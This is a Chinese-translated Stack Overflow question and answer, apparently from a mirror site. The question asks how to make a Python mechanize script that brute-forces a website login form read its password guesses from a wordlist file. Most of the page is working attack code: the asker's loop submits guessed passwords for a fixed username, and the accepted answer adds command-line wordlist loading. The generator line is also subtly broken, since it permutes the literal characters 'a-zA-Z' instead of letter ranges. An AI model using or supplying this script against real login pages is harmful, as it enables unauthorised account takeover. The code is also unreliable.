首页
学习
活动
专区
工具
TVP
发布
社区首页 >问答首页 >如何从网页表单登录的单词列表中加载密码?

如何从网页表单登录的单词列表中加载密码?
EN

Stack Overflow用户
提问于 2016-06-21 19:45:06
回答 1查看 386关注 0票数 -1

我有一个Python脚本,它使用itertools强制执行web表单(登录)。

我该如何用load-passwords from-wordlist.txt特性来替换bruteforce/字典生成过程呢?

我的代码:

#!/usr/bin/python
import mechanize
import itertools

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)

combos = itertools.permutations("a-zA-Z",5)
r = br.open("http://example.com/login")

for x in combos:
    br.select_form(nr = 0)
    br.form['username'] = "my_username_123"
    br.form['password'] = ''.join(x)
    print "Checking ",br.form['password']
    response = br.submit()
    if response.geturl()!="http://example.com/login":
        print "Correct password is ",''.join(x)
        break
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2016-06-21 21:28:22

可以添加类似这样的内容,以便如果命令行参数中存在密码文件,它将使用该文件而不是预定义的列表。

示例: python script.py password.txt

import sys
import os

if len(sys.argv) > 1:
    if os.path.exists(sys.argv[1]):
        combos = [line.strip() for line in open(sys.argv[1])]
    else:
        print "[-] File not found"
        sys.exit(0)
else:
        combos = itertools.permutations("a-zA-Z",5)
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/37947994

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档